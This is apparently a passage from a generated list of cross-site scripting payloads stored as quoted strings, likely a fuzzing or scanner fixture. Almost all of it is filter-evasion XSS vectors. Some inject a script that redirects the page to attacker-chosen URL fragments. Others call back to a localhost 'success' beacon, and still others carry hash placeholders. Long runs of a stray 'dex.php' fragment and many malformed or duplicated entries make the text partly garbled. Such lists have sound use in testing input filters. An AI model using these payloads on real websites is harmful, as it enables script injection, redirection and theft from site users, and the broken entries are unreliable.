      "<body onscroll=b2cb3aae09620084a4f719054147cd07><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:2639cbcc5e6e234dc280c572e2fa53fc>X\n",
      "<video><source onerror=\"javascript:c9529b9f085835b641abd0069987d9fa\">\n",
      "<video onerror=\"javascript:25864a0eef5ee63a94b511cda132652a\"><source>\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<IMG SRC='http://localhost:19084/success/f63fe99788baab324b06e90199e30597'\n",
      "<IMG SRC=http://localhost:19084/success/ce0925fe456d198da6e629decbe6ec1e>\n",
      "</TITLE><script>document.location=document.location.hash.substring(1)</script>\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "<DIV STYLE=\"behaviour: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "\"><img src=\"x:x\" onerror=\"http://localhost:19084/success/0ca81d32e4079d5a2ad754cca14de57c\">\n",
      "\"><SCRIPT>alert('http://localhost:19084/success/8625e1e58b96409cbe785b8322eefea2')</SCRIPT>\n",
      "\";<script>document.location=document.location.hash.substring(1)</script>//\n",
      "'';!--\"<script>document.location=document.location.hash.substring(1)</script>=&{()}\" \n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG SRC=`http://localhost:19084/success/64948adcbb7cfa0c3ce1a6c585d9816e`>\n",
      "<IMG SRC=\"http://localhost:19084/success/911e2a8728040b45de2db55e656fc164\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/02afc711eed1e97568364c4f4be70546\">\n",
      "<BODY ONLOAD=<script>document.location=document.location.hash.substring(1)</script>>\n",
      "<IMG \"\"\"><script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/a7abf61619dc0efd9107a00a80d30cda\">\n",
      "<BODY BACKGROUND=\"http://localhost:19084/success/d12b900bbf2a8af8aa7b682c1c235211\">\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "<IMG LOWSRC=\"http://localhost:19084/success/ee4a42225eadabb7175b671e72260197\">\n",
      "<<SCRIPT>document.location=document.location.hash.substring(1)//<</SCRIPT>\n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/b7487fc3742da5ce39bc78f01bace802]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"http://localhost:19084/success/56feaaef4204998f64f9f6269459d949\">\n",
      "![CDATA[<!--]]<SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<IFRAME SRC=\"http://localhost:19084/success/6c0f072fe4e468dab162f9f567c6871d\"></IFRAME>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/88e67a27af76071158195c87941a90bc\">\n",
      "<IMG SRC='vbscript:http://localhost:19084/success/7d2d915cfa4659564c1e89e6901eeb4c'>\n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "<FRAMESET><FRAME SRC=\"http://localhost:19084/success/425c5c7d77e008ac4030ae3814ddb912\"></FRAMESET>\n",
      "dex.php\n",
      "<iframe<?php echo chr(11)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/9a034c94f5f8fe956bdc45c295c76655]\">\n",
      "<BGSOUND SRC=\"http://localhost:19084/success/1944402728242147d26752c74068df26\">\n",
      "<input onblur=javascript:document.location=document.location.hash.substring(1) autofocus><input autofocus>\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/968e1101f8e07101469a247cc6c38021\">\n",
      "--- <IMG SRC=\"http://localhost:19084/success/a6ad054d69f7dfbeff647a83ff9c42f7\"\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;document.location=document.location.hash.substring(1)&lt;/SCRIPT&gt;\">\n",
      "<BASE HREF=\"<script>document.location=document.location.hash.substring(1)</script>//\">\n",
      "<iframe<?php echo chr(12)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/3baa3c4773dfad62aec72e7b322d2bc4\">\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/cfc761ecd775e3b9b467339f606a30f0\">\n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "<XSS STYLE=\"xss:expression(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "dex.php\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
      "X<form id=test onforminput=javascript:document.location=document.location.hash.substring(1)><input></form>\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "<STYLE TYPE=\"text/javascript\"><script>document.location=document.location.hash.substring(1)</script></STYLE>\n",
      "<? echo('<SCR)';echo('IPT>document.location=document.location.hash.substring(1)</SCRIPT>'); ?>\n",
      "<video onerror=\"javascript:document.location=document.location.hash.substring(1)\"><source>\n",
      "<SCRIPT>a=/XSS/ndocument.location=document.location.hash.substring(1)</SCRIPT>\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=<script>document.location=document.location.hash.substring(1)</script>></OBJECT>\n",
      "<xml id=\"X\"><a><b><script>document.location=document.location.hash.substring(1)</script>;<b></a></xml>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/cb10f8642eb38f68040f3bcedefcf704\")}</STYLE>\n",
      "<SCRIPT SRC=http://127.0.0.1>http://localhost:19084/success/e211c1fb7aa0c7c5170e792abe72d9ce</SCRIPT>\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/b775abacfa3523ee3ce413911fa027d6\");}</STYLE><A CLASS=XSS></A>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/77c68203de34c59d738e0a0fd2a851ee\")\";eval(a+b+c+d);\n",
      "<textarea onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-document.location=document.location.hash.substring(1)+ADw-/SCRIPT+AD4-\n",
      "<SCRIPT>a=/document.location=document.location.hash.substring(1)/alert(a.source)</SCRIPT>\n",
      "&<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "<DIV STYLE=\"binding: url(javascript:document.location=document.location.hash.substring(1));\">\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "<input onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<a href=\"about:<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "<LAYER SRC=\"javascript:document.location=document.location.hash.substring(1)></LAYER>\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<input type=\"image\" dynsrc=\"http://localhost:19084/success/e93a77bbfc1951a18bfac06859ec67c1\">\n",
      "<IMG SRC=&{http://localhost:19084/success/a933eb722e9c1fa79ed4988742a7fbd6};>\n",
      "<body onscroll=<script>document.location=document.location.hash.substring(1)</script>><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<SCRIPT <B>=document.location=document.location.hash.substring(1)\"></SCRIPT>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:document.location=document.location.hash.substring(1)\">X\n",
      "<keygen onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<!-- -- --><script>document.location=document.location.hash.substring(1)</script><!-- -- -->\n",
      "<style><!--</style><SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:document.location=document.location.hash.substring(1)>X\n",
      "<select onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<video poster=javascript:document.location=document.location.hash.substring(1)//\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "\"><SCRIPT>alert('491508e4f2e9b45c52760990326d3538')</SCRIPT>\n",
      "\">301c7a92389ee06ad177282cce9dce17\n",
      "\"><img src=\"x:x\" onerror=\"c093df8088c3b7806e6f5abbd31d15ae\">\n",
      "</TITLE>3d5bc07a83f35b69bf3a10249a5301e8\n",
      "'';!--\"<b797b6f5730e7b2eb5c15ef6d2379e26>=&{()}\"\n",
      "<BODY onload!#$%&()*~+-_.,:;?@[/|\\]^`=b3a15fa31f3a391de51caf8604990b34>\n",
      "'';!--\"<6f862496d17920474137a094578e98e8>=&{()}\"\n",
      "<IMG SRC=8c96118eaf504c424cde70b73a1cf596>\n",
      "<IMG SRC=\"89f4364e4976d85fddcf71d090f7b5b7\">\n",
      "<IMG SRC=\" &#14;  7851168ed03090c5d145aee8323af8e6\">\n",
      "<IMG SRC=`ff925a7a1be501f62335a48907a77020`>\n",
      "<IMG \"\"\">a01f52f86f3d3d7fe4e68838a9f04d94\">\n",
      "<<SCRIPT>032c07d924f655966905bd5f5295aacd//<</SCRIPT>\n",
      "<DIV STYLE=\"behaviour: url(a33362a96f753d4427fff978c1928a5e);\">\n",
      "\";68cc96e2609aa7fec80fb6cb5571cf31//\n",
      "<IMG SRC='ca8b6c50ac98bd1202ab8f5e54cc1e4d'\n",
      "<INPUT TYPE=\"IMAGE\" SRC=\"cfaf5f97c2b202ff24fa6f3377f41cd6\">\n",
      "<BODY BACKGROUND=\"923f5c0ffb5ab30b6a1bed3628dc3707\">\n",
      "<BODY ONLOAD=063d7b924ff2f6eaa8026a7d90192d27>\n",
      "<IMG DYNSRC=\"704a1aacbed619bcb0b7ba0df43c7e74\">\n",
      "<IMG LOWSRC=\"9520723dcdf4aac02a73b36a137ec9d7\">\n",
      "<BGSOUND SRC=\"bdb2663ef78265e3bb1fcd627245daba\">\n",
      "<BR SIZE=\"&{bd47f736e852a20ccb5c9d79e2840279}\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"f2527ae107b68ee779dbf772b1beac70\">\n",
      "<IMG SRC='vbscript:4dbf0aaa2f0eec1d2a35a2720d3f9109'>\n",
      "<IMG SRC=\"mocha:[b9edeb060cd5a3c435878c13b800ac32]\">\n",
      "<IMG SRC=\"livescript:[a194e3ee346be59dccbed22deac72832]\">\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=778b0c00926ddac4de7d9770b96cf577\">\n",
      "<TABLE BACKGROUND=\"e5933f092d563ca546aa0f0e87038b87\">\n",
      "<TABLE BACKGROUND=javascript:0ccd687d53b548726b7c2db6aa7acd6e>\n",
      "<TABLE><TD BACKGROUND=\"307e57c9097f3fac1b699bc6bb9b1052\">\n",
      "<DIV STYLE=\"background-image: url(00085df094405cffa18a4051453406f5);\">\n",
      "<DIV STYLE=\"width: expression(c4dec2eaae7cf2e70fa486f7b704d48f);\">\n",
      "<IFRAME SRC=\"496cddc247edc1a53bbac1ec7637899d\"></IFRAME>\n",
      "<iframe/ /onload=1a11e255ad56ad74fc36a5a3179421c1></iframe>\n",
      "<iframe/ \"onload=a4956d56457145dabac6da148c33135e></iframe>\n",
      "<iframe///////onload=b1a3e669301ebc7923b4ec6e95328dcc></iframe>\n",
      "<iframe \"onload=b523461ad46a242faabc0445ce8c740b></iframe>\n",
      "<iframe/ \"onload=f8d605308dcf6fdb6c4334f75f5f2290></iframe>\n",
      "<iframe<?php echo chr(11)?> onload=580cdb269ea77b9d979f350c213f30b0></iframe>\n",
      "<iframe<?php echo chr(12)?> onload=982bcdbc6cef21d76284bdafd50bb69f></iframe>\n",
      "<FRAMESET><FRAME SRC=\"bf65b0c53a42da8d5ed018c7b35bd4d6\"></FRAMESET>\n",
      "<TABLE BACKGROUND=\"c1c0eb74f0d4d426d7af5821eaf97f5b\">\n",
      "<TABLE><TD BACKGROUND=\"8f774de141c97b08118a2f9c5e8714e1\">\n",
      "<DIV STYLE=\"background-image: url(&#1;7618ad1303c227faa9e9d91ab67833d5)\">\n",
      "<DIV STYLE=\"width: expression(dc034dbd54b07fd7b56031500abebc45);\">\n",
      "<7a26d9de4ea63f731fc6461641f2dab5 STYLE=\"xss:expression(7a26d9de4ea63f731fc6461641f2dab5)\">\n",
      "<IMG STYLE=\"xss:expr/*37ce0d19d4c90d06308becff9404b7f7*/ession(37ce0d19d4c90d06308becff9404b7f7)\">\n",
      "<STYLE TYPE=\"text/javascript\">b178d9b8f7d9e335ee11865da5d32a57</STYLE>\n",
      "<STYLE>.e7f47d87dee725bd79214c42b53c5348{background-image:url(\"e7f47d87dee725bd79214c42b53c5348\");}</STYLE><A CLASS=e7f47d87dee725bd79214c42b53c5348></A>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"c2a39c359fdaf0eca07212016ee8f07b\")}</STYLE>\n",
      "<!--[if gte IE 4]>2ab685cf7ddf5ca723e611205d75543f<![endif]-->\n",
      "<BASE HREF=\"7835e5bd9a70e398c0bb25507235d3c3//\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=de09498dc15e56b59b66904cc0cf2ab6></OBJECT>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"076c98024d986846b0c5e52875f0282a\")\";eval(a+b+c+d);\n",
      "<? echo('<SCR)';echo('IPT>a9de6ce6480b15bd446d579fa39fd8ac</SCRIPT>'); ?>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;8251bb7a69c728a1170403b4e108f005&lt;/SCRIPT&gt;\">\n",
      "<SCRIPT SRC=http://127.0.0.1>8ef645baf6b716e956976e4da90d6480</SCRIPT>\n",
      "<IMG SRC=\"&14;javascript:64efb48df01eb10380433184fd238701\">\n",
      "--- <IMG SRC=\" &#14;  ae74841368f608a6ec00e7b21ccc97f2\">\n",
      "<IMG SRC=\"jav&#x0D;ascript:05db12f7a5580a9d0a9a53b550d4c58d\">\n",
      "--- <IMG SRC=\"bdc9eaa568926a1b2b23597f847f321e\"\n",
      "<SCRIPT>a=/6de10920ddce828b61869e3ec0208c41/alert(a.source)</SCRIPT>\n",
      "--- \";5df86151239fed7d2c75e0ddd785ec5a;//\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=29b81577a16faf54bb9c71d24667ccf6\">\n",
      "<SCRIPT <B>=63eb4bd7e2409541483b995fd4384b88\"></SCRIPT>\n",
      "<IFRAME SRC=\"javascript:c4c3c5567eb009d76ed164fd9aaf95b0 <\n",
      "<SCRIPT>a=/67e66ab7cf1a3d70fb55447e83e8245f/n67e66ab7cf1a3d70fb55447e83e8245f</SCRIPT>\n",
      "<DIV STYLE=\"background-image: url(&#1;javascript:434f39facbb43a7269128a8450d85d0f\">\n",
      "<STYLE>li {list-style-image: url(\"aad87a1bfac43a3c28c4f516c4da2619</STYLE><UL><LI>aad87a1bfac43a3c28c4f516c4da2619\n",
      "<LAYER SRC=\"javascript:40a0b1b00f252ab10a8ca769c130ec27></LAYER>\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-027c1e62dc5b7abc94d7686b56f80895+ADw-/SCRIPT+AD4-\n",
      "<a href=\"javascript#37ed09339ae5ace29c396910a3cfbfef\">\n",
      "<input type=\"image\" dynsrc=\"16f4d0272b6339127fbcabe4ac7638ab\">\n",
      "&79e289ea6d7835a4d25afa6026eb6531\">\n",
      "<IMG SRC=&{6986d5ad133caa3fc23b02b4938c8e28};>\n",
      "&{55026899f1d1e49185b0fadeac2b7d7f};\n",
      "<a href=\"about:a052e7ec1f538d06725a10a1fba5999b\">\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:501e91af2f2fa3f8ef660e8803d0b275\">\n",
      "<DIV STYLE=\"binding: url(javascript:18339eb9a47feb3b9bee6d82fda6d37a);\">\n",
      "<style><!--</style><SCRIPT>2bda8690309dcb8722d48c33a322a3dc//--></SCRIPT>\n",
      "![CDATA[<!--]]<SCRIPT>ea3b55bfa115d2006f76ce138881432a//--></SCRIPT>\n",
      "<!-- -- -->6c1f9d16b51aafa5169d8e6c06091aab<!-- -- -->\n",
      "<xml id=\"X\"><a><b>38a6c45f6e9168c8163c51a3c388fac2;<b></a></xml>\n",
      "<div datafld=\"b\" dataformatas=\"html\" datasrc=\"#f1f1e94f09188471bd5f794c24f6b7ae\"></div>\n",
      "<input onfocus=javascript:c304834eff26f109b53464c4ce15028c autofocus>\n",
      "<select onfocus=javascript:534f0258eb00a79e41407e8c1cddb1f4 autofocus>\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:1a966ad1f0ebf2a3e26035760619dbf5\">X\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:4759034545b23f186a9da2a44053a952\">]]</C><X></xml>\n",
      "<textarea onfocus=javascript:6710d11f9b872d78c36d021674dd5955 autofocus>\n",
      "X<form id=test onforminput=javascript:b016e3beacdbb296b1b1df242931f0d8><input></form>\n",
      "<body onscroll=8bb234701cf5c1486aa8914a53be7916><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<input onblur=javascript:a34f89bac2ccd45d3476daa6d0868760 autofocus><input autofocus>\n",
      "<keygen onfocus=javascript:3f9305d49ce2261e081b10bbd0110a3e autofocus>\n",
      "<video poster=javascript:a9415444d33b6a4cb682ecf3324a6753//\n",
      "<video><source onerror=\"javascript:bb6af99093fc83bf525271d09f580ac0\">\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:184c41fe30a60d81b2f73166ae2c6be3>X\n",
      "<video onerror=\"javascript:78def84e9b9335572ca1bb7169f2b4e2\"><source>\n",
      "\"><script>document.location=document.location.hash.substring(1)</script>\n",
      "<IMG DYNSRC=\"http://localhost:19084/success/704a1aacbed619bcb0b7ba0df43c7e74\">\n",
      "<BR SIZE=\"&{<script>document.location=document.location.hash.substring(1)</script>}\">\n",
      "<select onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<SCRIPT SRC=http://127.0.0.1>http://localhost:19084/success/8ef645baf6b716e956976e4da90d6480</SCRIPT>\n",
      "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=&lt;SCRIPT&gt;document.location=document.location.hash.substring(1)&lt;/SCRIPT&gt;\">\n",
      "<FRAMESET><FRAME SRC=\"http://localhost:19084/success/bf65b0c53a42da8d5ed018c7b35bd4d6\"></FRAMESET>\n",
      "<iframe///////onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/e5933f092d563ca546aa0f0e87038b87\">\n",
      "<DIV STYLE=\"width: expression(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<LINK REL=\"stylesheet\" HREF=\"http://localhost:19084/success/f2527ae107b68ee779dbf772b1beac70\">\n",
      "<BGSOUND SRC=\"http://localhost:19084/success/bdb2663ef78265e3bb1fcd627245daba\">\n",
      "<IMG SRC=&{http://localhost:19084/success/6986d5ad133caa3fc23b02b4938c8e28};>\n",
      "&<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<IFRAME SRC=\"javascript:document.location=document.location.hash.substring(1) <\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/307e57c9097f3fac1b699bc6bb9b1052\">\n",
      "<iframe \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<IMG SRC='vbscript:http://localhost:19084/success/4dbf0aaa2f0eec1d2a35a2720d3f9109'>\n",
      "<iframe<?php echo chr(12)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<DIV STYLE=\"background-image: url(<script>document.location=document.location.hash.substring(1)</script>);\">\n",
      "<IMG SRC=\"livescript:[http://localhost:19084/success/a194e3ee346be59dccbed22deac72832]\">\n",
      "<iframe/ /onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<TABLE BACKGROUND=javascript:document.location=document.location.hash.substring(1)>\n",
      "<!--[if gte IE 4]><script>document.location=document.location.hash.substring(1)</script><![endif]-->\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<IMG SRC=\"mocha:[http://localhost:19084/success/b9edeb060cd5a3c435878c13b800ac32]\">\n",
      "<style><!--</style><SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "<IFRAME SRC=\"http://localhost:19084/success/496cddc247edc1a53bbac1ec7637899d\"></IFRAME>\n",
      "<STYLE TYPE=\"text/javascript\"><script>document.location=document.location.hash.substring(1)</script></STYLE>\n",
      "<iframe<?php echo chr(11)?> onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<iframe/ \"onload=<script>document.location=document.location.hash.substring(1)</script>></iframe>\n",
      "<XSS STYLE=\"xss:expression(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<IMG STYLE=\"xss:expr/*XSS*/ession(<script>document.location=document.location.hash.substring(1)</script>)\">\n",
      "<textarea onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<OBJECT classid=clsid:...\" codebase=\"javascript:document.location=document.location.hash.substring(1)\">\n",
      "<a href=\"about:<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "<STYLE>.XSS{background-image:url(\"http://localhost:19084/success/e7f47d87dee725bd79214c42b53c5348\");}</STYLE><A CLASS=XSS></A>\n",
      "<!-- -- --><script>document.location=document.location.hash.substring(1)</script><!-- -- -->\n",
      "<SCRIPT <B>=document.location=document.location.hash.substring(1)\"></SCRIPT>\n",
      "<STYLE type=\"text/css\">BODY{background:url(\"http://localhost:19084/success/c2a39c359fdaf0eca07212016ee8f07b\")}</STYLE>\n",
      "<TABLE><TD BACKGROUND=\"http://localhost:19084/success/8f774de141c97b08118a2f9c5e8714e1\">\n",
      "<DIV STYLE=\"binding: url(javascript:document.location=document.location.hash.substring(1));\">\n",
      "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=<script>document.location=document.location.hash.substring(1)</script>></OBJECT>\n",
      "<SCRIPT>a=/document.location=document.location.hash.substring(1)/alert(a.source)</SCRIPT>\n",
      "--- <IMG SRC=\"http://localhost:19084/success/bdc9eaa568926a1b2b23597f847f321e\"\n",
      "<? echo('<SCR)';echo('IPT>document.location=document.location.hash.substring(1)</SCRIPT>'); ?>\n",
      "&{<script>document.location=document.location.hash.substring(1)</script>};\n",
      "<keygen onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<BASE HREF=\"<script>document.location=document.location.hash.substring(1)</script>//\">\n",
      "<HEAD><META HTTP-EQUIV=\"CONTENT-TYPE\" CONTENT=\"text/html; charset=UTF-7\"></HEAD>+ADw-SCRIPT+AD4-document.location=document.location.hash.substring(1)+ADw-/SCRIPT+AD4-\n",
      "<video poster=javascript:document.location=document.location.hash.substring(1)//\n",
      "<TABLE BACKGROUND=\"http://localhost:19084/success/c1c0eb74f0d4d426d7af5821eaf97f5b\">\n",
      "<IMG SRC=\"&14;javascript:document.location=document.location.hash.substring(1)\">\n",
      "<SCRIPT>a=/XSS/ndocument.location=document.location.hash.substring(1)</SCRIPT>\n",
      "--- \";<script>document.location=document.location.hash.substring(1)</script>;//\n",
      "<META HTTP-EQUIVo\"refresh\" CONTENT=\"0; URL=http://;URL=<script>document.location=document.location.hash.substring(1)</script>\">\n",
      "![CDATA[<!--]]<SCRIPT>document.location=document.location.hash.substring(1)//--></SCRIPT>\n",
      "\"get\";b=\"URL(\"\";c=\"javascript:\";d=\"http://localhost:19084/success/076c98024d986846b0c5e52875f0282a\")\";eval(a+b+c+d);\n",
      "<form id=\"test\" /><button form=\"test\" formaction=\"javascript:document.location=document.location.hash.substring(1)\">X\n",
      "<STYLE>li {list-style-image: url(\"<script>document.location=document.location.hash.substring(1)</script></STYLE><UL><LI>XSS\n",
      "<input type=\"image\" dynsrc=\"http://localhost:19084/success/16f4d0272b6339127fbcabe4ac7638ab\">\n",
      "<LAYER SRC=\"javascript:document.location=document.location.hash.substring(1)></LAYER>\n",
      "<input onfocus=javascript:document.location=document.location.hash.substring(1) autofocus>\n",
      "<xml id=\"X\"><a><b><script>document.location=document.location.hash.substring(1)</script>;<b></a></xml>\n",
      "X<form id=test onforminput=javascript:document.location=document.location.hash.substring(1)><input></form>\n",
      "<body onscroll=<script>document.location=document.location.hash.substring(1)</script>><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>\n",
      "<XML ID=I><X><C><![CDATA[<IMG SRC=\"javas]]<![CDATA[cript:http://localhost:19084/success/4759034545b23f186a9da2a44053a952\">]]</C><X></xml>\n",
      "X<form id=test><input></form><button form=test onformchange==javascript:document.location=document.location.hash.substring(1)>X\n",
      "<input onblur=javascript:document.location=document.location.hash.substring(1) autofocus><input autofocus>\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
      "dex.php\n",
